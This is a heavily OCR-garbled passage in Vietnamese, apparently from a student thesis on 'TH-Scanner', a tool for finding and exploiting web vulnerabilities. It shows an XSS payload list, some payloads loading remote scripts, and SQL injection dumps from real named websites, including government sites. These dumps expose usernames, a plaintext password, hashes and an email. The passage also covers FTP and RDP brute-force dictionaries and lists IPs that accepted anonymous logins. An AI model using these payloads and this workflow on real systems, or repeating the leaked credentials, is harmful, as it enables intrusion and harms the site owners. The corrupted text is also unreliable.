Bang 3.5.3 - Mét $6 ham co ban trong mo-dun khai thdc 16 hong SQLI

Tén ham Chire nang

Analyse Xac dinh Database, phan loai 16i SQLi
GetDBs LAy tén tat ca Database

GetTables L4y tén tat ca bang

GetColumns LAy tén tat ca c4c cot

GetData L4y théng tin mot bang

SaveData Luu két qua dudi dang HTML va JSON
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Hinh 22: Giao dién mé-dun khai théc 16 hong SQLI

3.5.4. M6-dun phat hién 16 hong XSS
- Chire ning: Kiém tra tat ca URL c6 15i XSS hay khong.

Bdng 3.5.4 - Mét s6 ham co ban trong mo-dun phat hién 16 héng XSS

Tén ham

Chirc ning

CheckXSS

Kiém tra mot URL c6 bi 16i XSS hay khong

GetWebPageContent | L4y noi dung cua website nham kiém tra c6 ton tai

payload XSS trong page source cua website d6 hay khong

r_,f_; TH-Scanner (Detect vulnerability) o» =NEEN X
() | € scan | # Exploit
Full URL http:/fwww.resene.co.nz
Deep-level: |2 : Vulnerability type: |Cross-site Scripting (XSS)

Check error:

Dump url: level 2 : 33/326

| Total urls: 1204 | Petential urls (21)| Error urls (12) |

http://www.resene.co.nz/samples/select-chart.php?productType=1%253cscript%253ealert(1)%253¢/script?%253e @ K¢ -
http:/fwww.resene.co.nz/comn/colorshops/colorshops.php?i=au,nc¥253cscript¥%253ealert(1)%253¢/script%253e ¢ XS
http://www.resene.co.nz/swatches/search.php?chart=Resene+Curtain+Collection&type=name&submit=Colour+searcl
http://www.resene.co.nz/mailto:update@resene.co.nz?Subject=Feedback&lt; SCRIPT&gt;alert("XSS"); &lt;/SCRIPT&gL; :
http://www.resene.co.nz/samples/products.php?product=0&chart=08productType=8%253cscript¥%253ealert({1)%253
http://www.resene.co.nz/mailto:colexpert@resene.co.nz?subject=Askalt; SCRIPT&gt; alert('XSS5"); &It; /SCRIPT&QgL; : XSS
http://www.resene.co.nz/mailto: advice@resene.com.au?subject=Resene&|t; SCRIPT&qt; alert("%S55"); &lt; /SCRIPT&gL; : »
http://www.resene.co.nz/swatches/search.php?colour_code=-&submit=List+colours&type=code&page==8&colour_code_
http:/fwww.resene.co.nz/pollfindex.php?results=favourite_colour_2016&It; SCRIPT&gt; alert('®SS"); &lt; /SCRIPT&gt; : ¥¢
http://www.resene.co.nz/mailto:advice@resene.co.nz?subject=Resenc&lt; SCRIPTAgL; alert("XSS'); &lt; /SCRIPT&gL; : ®S
http://www.resene.co.nz/mailto:update@resene.co.nz?subject=Bulk%20colour¥20chart®%20ordert 20from%20websi
http://www.resene.co.nz/swatches/preview.php?chart=Resene%20The%20Range%20whites%20%26%20neutrals%

Hinh 23: Giao dién mé-dun phdt hién 16 hong XSS

) TH-Scanner (Exploit 3Qli vulnerability) o o
£ Auto exploit |+ Analyse |8 Get DBs [ Gettables T|Get columns T+ Get data | 5| Save data
URL: http:/fwww.smelisting.net/comer_category.php?id=7
DB: MySQL M Processing log
-[[Ikeorner ~[] -
~[Cllisting_company Find databases
[Tnews 1: information_schema
~[“Iphotos 2: smelistingdb
~[Crreport Find tables of database: smelistingdb
~[Clscap 15 tables: ask, category, cipo, downloads, inmedia, ipo, kcorner, listing_company, news,
""ESFC photos, rreport, scap, src, users, wats_new
=-[¥]users
Fid Find columns of table: smelistingdb.users
~[@name = 5 columns: id, name, email, password, approval E
7 i
""emall d Get data of table: smelistingdb.users
passwar 1/1 rows
¥ approval
-] wats_new = =
name email password approval
list@co | sme@#123
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3.5.5. M6-dun khai thac 16 hong XSS
- Chirc nang: Kiém tra tat ca payload XSS ma URL c6 15i, thuc hién khai

thac 16 hong XSS véi tirng payload.

Bang 3.5.5 - Mgt $6 ham co ban trong mo-dun khai thdc 16 hong XSS

Tén ham

Chwrc nang

LoadXSSPayload

Load tit ca payload trong file .txt

CheckAllPayload

Kiém tra tat ca payload XSS ma URL c6 15i

GetWebPageContent | LAy noi dung cua website nham kiém tra c6 ton tai
payload XSS trong page source cua website d6 hay khong

¢l TH-Scanner (Exploit X3S vulnerability)

=HlEn. X]

URL: hittp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1

Payload list (433)

Check all payloads

<seriptalert(123); </script> »
<SeRipT=alert("X55"); </ScRipT>

<scriptalert(123)</scripts

<seriptalert("hellox worldss"); </script>
<scriptzalert(§¥S5¢)</script>

<seriptzalert(gXSSe); </script>

<sCriptalert(§¥SSe) </script>

& <sariptzalert(§X55¢)</script>
<seript»alert(/XSS¢)</seript>

<scriptzalert(/¥55/)«/script
<fscript=<script>alert(1)</script

#; alert(1);

@)alert(1);//

<SeRiPtalert(1)</sCriPt>

<IMG SRC=jAVasCriPt:alert(§XS5¢)>

<IMG SRC=gjavascript:alert(§XS5¢); &>

<IMG SRC=javascript:alert(&quot; X5S&quat;) >

<IMG SRC=javascript:alert(§X55¢ )

<img src=xss onerror=alert(1)>

<iframe %00 src="&Tab;javascript:prompt(1)&Tab;" %00
<svg><style={font-family&colon;'<iframe/onload=confirm(1)>'
<inputfonmauseover="javaSCRIPT&colon;confirm&lpar; 1&rpar;”
<s\g<scRipt %00>alertélpar; 1&mar; {Opera}
<img/src="%00" onerror=this.onerror=confirm(1)
<formz<isindex formaction="javascript&colon;confirm(1)
<img src="%00" &NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src="https://dl.dropbox.com/u/13018058/js.)s' /&Tab;»</script:
<SeRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab; base64&Tab; PGIvZHkgb255b 2FkPWFSZXI0KDE
<seript /#%00%/5/*%00* {alert(1)/*%00% /</script /*%00%/
&#34:8#62;<h1/onmouseover="u0061lert(1) %00
<iframe/src="data:text/html,<svag &#111;8# 110;load=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv:
<gvgs<seript xlink:href=data&colon;, window.open('https://www.google.com/) </
<svg<seript x:href="https://dl.dropbox.com/u/13018058/js5.Js' {Opera}

<meta http-equiv="refresh” content="0;url=javascript:confirm(1)">

<iframe src=javascript&colon;alertdlpar; document&period;locationfepar; >
<form><a href="javascript:\u0061lert&#x28; 18:2%29;" »X
<fstript=<img/=%00/src="worksinchrome&colon;prompt&#x28; 18#%29;"/%00%/0
<img/&#09;8#10:&#11; src="~" onerror=prompt(1)>

<formz<iframe &£00;&#10;8#11; src="javascript&#58;alert(1)"&#11;8#10; 80!
<a href="data:application/x-x509-user-cert;&NewLine;baseh4&NewLine; PHNjcmh
http://www.google<script .comzalert(document Jocation)</script
<a8#32;hrefa#61;8#91;8400;8#92:"&#00; onmouseover=prompt&#40; 1&#41;
<img/src=@8+#32;8213; onerror = prompt('&49;") 9

m

http://www.resene.ca.nz/Colour-Experts/search_results.php?searchText=1¢; alert(1);
hitp://www.resene.ca.nz/Colour-Experts/search_results.php?searchText=1¢)alert(1);//

hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%253cscript%253ealert( 1)%253¢/seript%253e

hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1gscriptualert(EXSSE)g/scriptu

hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&t; SCRIPTAgt;alert('X55 );&lt;/SCRIPTAgt;

http://www.resene.co.nz/Colour-Experts/search_results,php?searchText=18&lt; HTML&gt;&lt;BODY&qt;
hitp://www.resene.ca.nz/Colour-Experts/search_results.php?searchTaxt=1eval(a+b+c+d);
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&!t;/BODY&gt;&lt: HTML&gt;

hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%3C
http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=18&lt
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=18&l;
hitp://www.resene.ca.nz/Colour-Experts/search_results.php?searchText=1&LT
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&l;
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=18&LT;
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&l;
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1\u003c
hitp://www.resene.ca.nz/Colour-Experts/search_results.php?searchText=1\u003C
http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1\x3C
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1\3c

hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1gscriptgalert(§X55¢)6/scripte

hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1+ACIAPgAS-script+AD4-alert(document.location)
http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%2BACIAPgAS-5cript%h2BAD4-alert%28documer
http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%253cscript%253ealert(document.cookie)%252
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1+ADw-script+AD4-alert(document.location) +ADw
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%2BADw-script+AD4-alert(document. ocation) %
hitp://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1¢; alert(document.cookie); var foo=¢

hitp://www.resene.ca.nz/Colour-Experts/search_results.php?searchText=1foo\¢; alert(document.cookie);//4;

Hinh 24: Giao dién mé-dun khai thac 16 hong XSS
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3.5.6. M6-dun lap lich do quét 16 hong nhiéu website
- Chtrc nang: Thuc hién dong thoi viéc dumpURL, do quét 16 hong va thuc
hién khai thac véi nhiéu website ciing mét ltc. Cac 16 héng mé-dun thuc hién do
quét bao gém: SQL.i; XSS; Tim céc file nhay cam; Tim dudng dan login.

Bang 3.5.6 - Mét s6 ham co ban trong md-dun do quét 16 hong nhiéu website

Tén ham Chire ning

ScanTarget Load tt ca website can quét

Scan Dump URL cua cac website, kiém tra 15 hong cua ting
URL

Exploit Thuc hién khai thac 16 hong véi ting URL c6 16i

%) TH-Scanner [Multi-scan vulnerability) - Multi scanner =
L Add one target {5 Add multi-targets | ‘# Exploit | =) Save result

Index Status  Deep-level SQLi XSS Sensitiveurl Loginpage Rumat Target Result

1 Q| Ruming | 2 v | Z v v 5| httpy/www. cdsphue edu vi/thuvien fullsizeimage asp?ID=163
2 €3 Running | 2 v 7 v v [ | http://www. smelisting net

3 O\M\ 2 Fl v Fl Fl [5% | hrp:/Awww icdcprague org

4 €3] Running | 2 7 7 7 7 [ | http://www.mbmupe. gov.kh

5 3| Running | 2 v 7 @ v [ | http/Awww.clec_org kh

6 ) Stan | 2 7 7 7 7 [ | http/svww.cavallo.vn

7 O‘ Start ‘ 2 v £ i v [ | http://www.imagesystems.com.mt

8 & Stan | 2 v 7 [ v [ | hrtp//nightgallery ca

BT oot urk (2) ]

http://www.cdsphue.edu.vn/thuvien/fullsizeimage.asp?ID=163 MS SQL Server
- http://www.cdsphue.edu.vn/?Ing=en MS SQL Server
= XSS wurl (1)
- http://www.cdsphue.edu.vn/?Ing=en<script=alert(123); </script> : XSS
Sensitive url
- Login page

Hinh 25: Giao dién mé-dun do quét 16 hong nhiéu website
3.5.7. MO-dun do quét 16 hong nhiéu URL
- Chtic nang: Thyc hién do quét, khai thac 16 hong SQLi va XSS véi cac
URL c6 kha ning c6 1.

Bang 3.5.7 - Mét $6 ham co ban trong mo-dun do quét 16 hong nhiéu URL

Tén ham Chire ning

Scan Load tat ca URL can quét

CheckSqli Phat hién 16 hong SQLi vai cac URL

CheckXSS Phat hién 16 hong XSS véi cac URL

Exploit Khai théac 16 hong SQLi va XSS
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-‘:) TH-5canner (Detect vulnerability) - Multi u

! “ Import urls # Clear urls | € Scan | “# Exploit | [ Save error urls

Profile: SQLi ] ¥ss

| Potential urls (23) | Result |
=-SQLi urls (27)
& http://www.tisi.go.th/view-news.php?id=1610 MySQL
- http:/fwww.smelisting.net/corner_category.php?id=5 MySQL
| - http:/fwww.huayduan.go.thfindex.php?options=photo&mode=detail&id=547 MySQL
- https:/fwww.orillia.com/index.php?id=23 MySQL
- http:ffwww.icdcprague.org/index.php?id=10 MySQL
- http:/fwww.cvea.org.kh/km/exclusive/exclusive.html?layout=exclusive&page=-1 MySQL
- http://e-civil.rta.mi.th/calendar/view.php?view=month&course=1&cal_d=18&cal_m=12&cal_y=1901 MySQL
- hittp:/fwww.cavallo.vn/productdetail.php?id=92 MySQL
- http:ffwww.mlmupc.gov.kh/?page=detail&menul=2 15&menu2=454&ctype=article&id=2 MySQL
| - httpffwww.clec.org.kh/proact.php?actiD=628&pID=1 MySQL
- http:/fwww.cvea.org.kh/km/exclusive/exclusive.html?layout=exclusive MySQL |
- http:/fwww.clec.org.kh/proact.php?actID=62 MySQL
- http:/fwww.sedimental.com/catalog/index.php?ID=67 MySQL
- http:/fwww.mlmupc.gov.kh/?page=detail&menul=2 15&menu2=454&ctype=article MySQL
- http:ffrefer.dph.go.th/webboard/view_webboard.asp?ID=5151&pagesize=800 MySQL
- http:/fwww.ssr.go.th/sh_picactivity.php?pa_id=2 MySQL
- http://refer.lph.go.th/webboard/view_webboard.asp?ID=5151 MySQL
- http:/fwww.mlmupc.gov.kh/?page=detail&menul=2 15&menu2=454 MySQL
- http:/fwww.yalapao.go.th/main/subindex.php?page=sub&category=13 MySQL —
- http:ffwww.mimupc.gov.kh/?page=detail&menul=215 MySQL
- http:/fwww.acfs.go.th/read_news.php?id=8642-&ntype=09 MySQL
- http://kmcenter.rid.go.th/kclaw/index1.php?page=gallerytemp 1&tx_gallery_id=55 MySQL
- http:/fweb.rid.go.thflaw/index.php?page=gallerytemp&tx_gallery_id=35 MySQL

o benc o ravslla vndnendnctdarsil nbhn?id=115 MwCHI

Hinh 26: Giao dién mé-dun do quét 16 héng nhiéu URL

13

m

3.5.8. M0O-dun phat hi¢n file nhay cam

- Chure ning: DO tim céc file nhay cam, ¢6 gia tri quan trong nhung do 15i
cau hinh nguoi quan tri so ho de 19.

Badng 3.5.8 - Mgt $6 ham co ban trong mo-dun phét hién file nhay cam

Tén ham Chire ning

InitData T~hiét 1ap danh sach tén cac file nhay cam, danh sach cac
[6i tra vé tir may chu do ngudi quan tri cau hinh khi truy
cap vao cac file nay

Scan Kiém tra duong dan ¢ ton tai hay khong, néu trang tra vé
|4 trang trang hoac chira thong bao 16i thi khong ton tai,
nguoc lai ¢o thé truy cap vao cac file nhay cam trén
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%) TH-5canner (Detect vulnerability) - Single scanner st s e

£ Scan | “# Exploit |} Save result
Full URL http:/fwww.mimupc.gov.kh/

Deep-level: |2 = Profile: SQLi %55 Sensitive url Login page

Dump url: Finished
Check error:
| Total urls: 409 | Potential urls (26]| Result |

- SQLi urls (16)
- XSS urls {25)
E- Sensitive url (1)
. ohttpi//www.mimupc.gov.kh/backup
E- Login pages (4)
& http:/fwww.mlmupc.gov.kh/administrator/index.php
http: /fwww.mimupc.gov.khfadministrator/login.php
http: //www.mimupc.gov.khfadministrator/login.asp
o http:/fwww.mlmupe.gov.kh/administratoer/loginadmin.php

Hinh 27: Giao dién mo-dun phat hién file nhay cam
3.5.9. M6-dun quét cong
- Chure nang: Tim tat ca cong mé caa mot may chi.
Bdng 3.5.9 - Mét S6 ham co ban trong mo-dun quét cong

Tén ham Chirc ning

AddCommonPort Liét ké danh sach cac cong thuong ding

ScanListPort Kiém tra tat ca cac cong mo caa mot dia chi IP

ScanPort Kiém tra mot cong cua dia chi IP

=) Scan port I. = | =l I_i:?—_J_'l

IF address: 192.1a8.10.20 [ Scanning ]

-

From porkt: 1 — to: |SO00 = Common ports
Threads (1): |:|

III Port 80 (http) 1s open II
Port 125 (rpc) is open
Port 129 (netbhios) is open
Port 443 (ssl) is opan
Port 445 (smn) is opaen

[——— |
Hinh 28: Giao dién mé-dun quét cong
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3.5.10. M0-dun brute force tai khoan ding nhap dich vu FTP
- Chtre nang: Poan tai khoan dang nhap dich vu FTP cua danh sach IP cac

may chu sir dung tir dién cac username va password thuong su dung.

Bang 3.5.10 - Mt s6 ham co ban trong md-dun brute force FTP

Tén ham

Chirc nang

ScanFTP

DPoan tai khoan dang nhap dich vu FTP cua danh sach céc
diachi IP

IsFtpAccessible

Thur mot tai khoan dang nhap FTP véi mot IP

ScanAnonymousFTP

Thir dang nhap FTP vai tai khoan mac dinh: username la
anonymous, mat khau bat ky

Add accounts Remove accounts Add IPs

Remove IPs

FTP accounts IPs

anonymous ; anonymous
admin ; admin

admin ; adminl23

admin ; P@ssword
administrator ; admin
administrator ; adminl23

administrator ; P@ssword

administrator ; administrator

207.7.92.157 ~
206.188.193.190 B
206.188.192.78 m
212.203.67.56
210.245.85.38
210.5.72.147
210.5.72.164
210.5.72.144
210.5.72.142
210.5.72.140
210.5.72.139 v

Check successul:

210.245.85.38; anonymaous ; anonymaous
203.146.251.202; anonymous ; anonymaowus
210.5.72.140; anonymous ; anonymous
203.156.18.130; anonymous ; anonymous
208.09.120.58; anonymous ; anonymous

| Scanning | | Save result

——————————————————————

Hinh 29: Giao dién mo-dun brute force FTP
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3.5.11. M0-dun brute force tai khoan ding nhap dich vu RDP
- Churc nang: Poan tai khoan dang nhap dich vu RDP cua danh sach IP cac

may chu sir dung tir dién cac username va password thuong su dung.

Bang 3.5.11 - Mgt 6 ham co ban trong md-dun brute force RDP

Tén ham Chirc ning

ScanRDP Doan tai khoan dang nhap dich vu RDP cua danh sach
cac diachi IP

LoadRDP Thuc hién két ndi RDP véi mot dia chi IP

CheckIPAddressValid | Kiém tra mot dia chi IP ¢6 ton tai hay khdng

PO

. PR

i ROP brute-force

Add sccounts Remove accounts  Add IPs  Remowve IPs
RDP accounts Ps Checking 192.168.10.20 with [Admnestrator ;

Fle Edit Meew Higtory Bookmar| — | O |

admin ; admen A

admin ; admenlZ3 —

admin ; PEssWOrd 192.168.10.20 <) = sws-T..
d

-------

--------

Check successul:
192.168.10.20; Admanestratosr | © -

Scan Save result

————— | P & @@ &5 DG

Hinh 30: Giao dién mé-dun brute force RDP

15032017

3.5.12. M6-dun thiét 1ap Proxy
- Chire nang: Thiét 1ap Proxy, st dung UltraSurf, kiém tra két ndi.
Bang 3.5.12 - Mét 6 ham co ban trong md-dun thiét Igp Proxy

Tén ham Chirc nang
ProxySetting Thiét 1ap Proxy
CheckConnect Kiém tra két noi
UltraSurf Str dung Ultrasurf




59

IP address: 127.0.0.1

Port: S665 [¥] Uttrasurf

[ Save ]

H‘Inh 31: Giao dién mé-dun thiét lap Proy
3.5.13. M0-dun 1ap lich
- Chtrc nang: Lap lich chuong trinh tu dong quét URL, phéat hién va khai
thac 16 hdng, sau d6 luu két qua vao file text tranh tinh trang thuc hién do quét 15
hong mot muc tiéu nhiéu lan. Sir dung control timer, 30s s& kiém tra mét lan
nhitng muc tiéu nao co 1ap lich va thoi gian lap lich bang thoi gian hién tai thi

chuong trinh ty dong kich hoat chirc nang do quét 16 hong.

Bdng 3.5.13 - M4t 6 ham co ban trong mo-dun Idp lich

Tén ham Chirc ning

ScanTarget Load danh sach muc tiéu

LoadTime Kiem tra ngay gio hién tai, thiét 1ap thoi gian chay quét
16 hong

Save Luu két qua vao file text

) _TH-5canner (Multi-scan vulnerability) - Multi scanner
P Add one target {fJAdd multi-targets | -# Exploit | /= Save result

Index Status Deep-level SQLi XSS Sensitiveur]l Loginpage Runat Target Result
1 Q 2 f#  http://www.cdsphue edu vn/thuvien/fullsizeimage asp?ID=163
2 G 2 [ | https//www.smelisting net
3 G 2 :.-'.-'wmv_ic dcprague.org
4 G 2 i — [ | http:/www.mimupe. gov kh 1
5 Q 3 | ) Add target - - =nc < A
6 O 2 Target:
7 9 2 ) http://www.icdcprague.org 3
$  @(stat] 2 Run at: 2017/03/30 10:47 [~
4 e

Hinh 32: Giao dién mé-dun ldp lich
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CHUONG |IV. THU NGHIEM VA PANH GIA KET QUA

4.1. Thir nghiém phan mem TH-Scanner

4.1.1. Thir nghi¢m phat hién va khai thac 16 hong SQL.

Phan mém c6 thé phan tich tu dong website, phat hién va khai thac 16 hong
SQLi vai cac dang CSDL MySQL, SQL Server, Error Based, Blind SQL. Thuc
hién bypass viéc loc cac ky tu, chin cac ham do ngudi 1ap trinh thiét 1ap: bypass
15i 403, 404, 406, 500, thuc hién mot sé bypass nang cao.

Thar nghiém véi bo dir lieu gom 549 URL c6 kha niang c6 18i SQLI,
TH-Scanner ¢ kha ning phat hién 439 URL c6 16i SQLI, ty 1¢ phat hién thanh
cong dat 79,96% vai thoi gian 18 phat 21 gidy va chi ra tat ca dang 15i SQLi ma
mdi URL con ton tai. Két qua chay chuong trinh thé hién trén Hinh 33.

4 TH-Scanner (Detect vulnerability) - Multi urls scanner (= |8 2

# Import urls 5 Clear urls | & Scan o Exploit H Save error urls

Profile: SQLi ] %55 Progress: 549/549 Time: 00:;18:21.578

| Patential urls (549) | Result |

=-SQLi urls (439) -~
- http:/fallnations.net/equipment/prodinfo.php?ID=3 MySQL Union query

- http:/fwww.heenatours.net/show 1.php?id=62 MySQL Union query MySGQL Blind

- http:/fwww.shashiclinic.com/view.php?id=8 MySQL Union query MySQL Blind

- http:/fwww.mahamandalchicago.org/revent.php?id=70 MySQL Union query

- http://metbhujbalknowledgecity.ac.in/engineering/details.php?id=115 MySQL Union query MySQL Blind

- http:/femiratestrucks.com/news/news.php?id=4 MySQL Union query

- http:/fwww.guardiananael.infga/auardian_anagel_contact_profile_disp2.php?id=1442 MySQL Union guery

- http://dzz.gov.ua/CPOSI/style/page_2/templer_page2_en.php?id=2 MySQL Union query

- http:fwww.califacil.com/page.php?id=2 MySQL Union query MySQL Blind

- http:/fwww.pickofindia.com/hotels/obmp23/hotelpage.php?id=1806 MySQL Union guery

- http:/fwww.ipebs.in/course_categories.php?id=135 MySQL Union guery MySQL Blind

- http:/fwww.ecotec.gr/article.php?ID=5 MySQL Union guery

- http:/fwww.oktopagnda.com/fview_picture.php?id=17 MySQL Union query

- http:/fwww.applegrafix.com/productions.php?id=18 MySQL Union query

- http:/fwww.businesstoday.lkf/cover_page.php?article=2023 MySQL Union query

- http://sudicobank.com/downloads.php?id=26 MySQL Union guery

- http:/faarsh.co.infproducts.php?id=11 MySQL Union query

- http://galileoc.net.in/prod.php?id=9 MySQL Union guery MySQL Blind

- http:/fwww.mrdavims.org/news 1.php?ID=13 MySQL Union query

- http:/fflorencebodycare.com/detail.php?id=32 MySQL Union query

- http:/fwww.hariommota.orgfread_literature.php?id=21 MySQL Union query MySQL Blind

- http:/fwww.shreepalace.com/Best_Paying_Guest_For_Girls_Suitable_Rent.php?id=15 MySQL Union query

LY o e s PP Vara hodur—ra co mldat—il mha?id—A MaCOl L nion e

Hinh 33: Thit nghiém kha néng phat hién 16i SOLi




| £ Auto exploit | & Analyse | &8 Get DBs [ Gettables T]Get columns == Get data | =) Save data

listing_company

Find databases

1: information_schema

2: smelistingd|
Find tables of database: smelistingdb
phatos, rreport, scap, src, users, wats_new

Find columns of table: smelistingdb.users
5 columns: id, name, email, password, approval

]

Get data of table: smelistingdb.users
1/1 rows

name email password

pd lst@co |sme@#123 |

- _

Hinh 34: Khai thac SQLi véi CSDL MySOL

URL:  http://www.smelisting.net/corner_category.php?id=7
DB: MysQL - Processing log
kcorner - =

15 tables: ask, category, cipo, downloads, inmedia, ipo, kcorner, listing_company, news,

(4 TH-Scanner (Exploit SQIi vulnerability} == =
=) | £ Auto exploit |+ Analyse | 2= Get DBs [ Get tables ]| Get columns == Get data | Pl Save data
URL : http:/fwww.cdsphue.edu.vn/thuvien/fullsizeimage.asp?ID=163
2k MS SQL Server he Processing log
¢ Mledsp_hue [ 5irs e =
[[]2013_tinsport | 1178: web_bvat
i[Jaaa_phongve24hcom 1179: web_danangupizoid
+[Claackiemtoan 1180: web_hueimc
+[Clabatdongsan 1181: WebAgribank
:[]abcdef 1182: webgnpc
] abillingd 1183: webvienkinhte
e Eningdivn 1184: wsccqc
[CladbBMA 1185: wsindopala
[CladbChiHoa 1186+ wsindopalademo
+[CladbPhuongLanCs 1187: xekhachtuyenminh
[Cladbtuananh 1188: xosobdh
[Cladbtuixachphuonglan 1189: xuonggoTruongaAnh
L [CladmincMs 1190: YenHaiThanh o
+[Clagribankphuyen i s

Hinh 35: Khai thac SQLi vgi CSDL SQL Server

'@TH-Scanner(ExpluitSQﬁvulnemhility) Rt

DB:

URL:

€ Auto exploit |+ Analyse gGet DBs [ Get tables EGetcolumns

=« Get data | [ Save data

http://nightgallery.ca/artistbook.php?id=5

Error Based -

Processing log

g_pressitems

hashed_password
user_level

m

Find databases
1: nightgallery20

Find tables of database: nightgallery20

ng_ads, ng_artists, ng_artworks, ng_books, ng_event_artists, ng_event_shots,
ng_events, ng_frontpage, ng_gpress, ng_infopage, ng_logins, ng_newsitem, ng_opendl,

ng_papers, ng_pressitems, ng_users

Find columns of table: nightgallery20.ng_users
id, username, hashed_password, user_level

Get data of table: nightgallery20.ng_users
2/2 rows

username hashed_password user_level
nightgallery | $2y$10$NGFiNjIyN2QSNTFiYzM200YYWmT2ERZSfKSWyzZINIQOWSLIKISEE | 5
ng 994157dd726012949c1fcdadbobff3544619f980 5

Hinh 36: Khai thac SQLI .y thudt Error Based
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/&) TH-Scanner (Exploit SQi vulnerability) =AREn X

€ Auto exploit |« Analyse |28 Get DBs [E Get tables T]Get columns =+ Get data | B Save data

URL: http:/fwww.mimupc.gov.kh/?page=detail&menul=215&menu2=454&ctype=article&id=9

DB:  MySQL v Processing log
Bm - 1: information_schema -
-[Tid 2: mimupcgo_dbnew
Sgg::jame Find tables of database: mimupcgo_dbnew . _
@password 32 tables: countries, tbl_dialy_visitor, th_recentIy_wew, tbl_subscrl_be, thlarticle,
" thlcategory, thildocument, tblgallery, tbllevel_setting, tbllocation, tbllogin_report,

~[¥ email tbimaillinklist, tbimember, tbimember_login, tblpermission, thlsite, tblsubscribe,
-[Cuser_level thltracking_report, thltranslate, tbltranslate_lang, thluser, tbluser_level, tbluser_login,
-] object_allows tblverify, tblverify_member, tblvisitor_counter, v_article_description_en,
[T permission_allows v_article_description_kh, v_article_title_en, v_article_title_kh, v_gallery_title_en,
~["lac_add v_gallery_title_kh
“Dlac_edt Find columns of table: mimupcgo_dbnew.tbluser

[(ac_delete | pgo_ -

21 columns: id, userid, username, password, email, user_level, object_allows,
permission_allows, ac_add, ac_edit, ac_delete, ac_duplicate, ac_recyclebin, ac_restore,

m

~[Clac_duplicate

[l ac_recyclebin ac_drop, user_status, recycle, ip_address, add_date, edit_date, delete_date

- ac_restore

~[lac_drop || |delete_date

-[Cuser_status =
-[“Irecycle Get data of table: mimupcgo_dbnew.tbluser

-[[lip_address /1 rows

[[Jadd_date |
-[[|edit_date - -

userid username password email
admin 333350522d4b3d3c4b6958a750d59102 | n.bunny@servingweb.com

Hinh 37: Khai thac SQLI thuc hién bypass nang cao
4.1.2. Thir nghiém phat hién va khai thac 15 hong XSS
TH-Scanner c6 thé tu dong phan tich website, phat hién va khai thac 15
hong XSS véi 433 payload. Ngoai thuc hién viéc hién thi cac thong diép, phan
mém con thuc hién chén cac link doc hai, 1y cookie, session, key logger, bypass

viéc loc cac Ky tu meta data do nguoi lap trinh thiét lap.

Thu nghiém véi 17 URL, TH-Scanner cé kha nang phat hién thanh céng 12
URL dat 70,6% c6 15i XSS trong thoi gian 06 phat 19 gidy. Két qua thuc hién
chuong trinh dugc thé hién trén Hinh 38.

2# TH-Scanner (Detect vulnerability) - Multi urls scanner— — » - = | [E | S|

“ Import urls 25 Clear urls | £2 Scan W Exploit ﬂ Sawe error urls

Profile: [] SQLi ¥SS Progress: 17/17 Time: 00:06:19.2020000

L
| Potential urls (17) | Result |

= XSS urls {12)
- httpe ffwww.sandsmuseum.com/cars/elise/pictures/viewpicture.php?id=1«<svg=<script onlypossibleinopera:-)= aler
- http:/farchive.denisbehr.de/show.php?book=1<svg=<script onlypossibleinopera:-)= alert(1)
- httpfwww.drumspeech.com/news.php?id=1<script=alert{123); </script=
- http/fwww.dafont.com/search.php?g=Bebas+Neucg; alert(1);
- httpffwww . dteachers.de/?action=show&id=14; alert(1);
- http/fwww . proxyarch.com/openpoly/index.php?id=1<script=alert{123); </script>
- http:/fwww.sdgraphics.com/system/search_results.php?searchText=1<script=alert(123); </script=
- http://hyips.cc/getbannercode.php?id=1<script>alert(123); </script>
- httpffwww . matrixtsl.comysearch_results.php?SearchType=searchName&SearchText=14; alert(1);
- https://senate.qc.cuny.edu/Curriculumy/Proposals/?id=1¢; alert(1);
- httpffwww.resene.co.nz/Colour-Experts/search_results.php?searchText=1&It; SCRIPT&gt; alert("X55"); &lt; /SCRIPTE
- http://caribbeanbusiness.pr/search_results.php?search=1<img src=xss onerror=alert(1)=

Hinh 38: Thit nghiém tinh nding phdat hién 16i XSS




63

) TH-Scanner (Exploit X55 vulnerability)

URL: http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1

Payload list (433) Check all payloads

<script=alert(123); </script> + | |http://www.resene.ca.nz/Colour-Experts/search_results.php?searchText=1¢; alert(1); N
<ScRipT>alert("¥55");</ScRipT=> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1¢)alert(1);//

<scriptzalert(123)</script> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%253cscript%253ealert(1)%253c/script%253e
<scriptzalert("hellox worldss™); </script> £|| | http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1¢scriptualert(EXSSE) g/scriptu
<script=alert{@X5Se)</script> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&lt;SCRIPT&gt; alert('XSS"); &lt;/SCRIPTAgL;
<script=alert{@X5S¢); </script> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&lt;HTML&gt; &lt;BODY&gt;
<script=alert{@X5S¢)</script> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1eval(a+b+c+d);
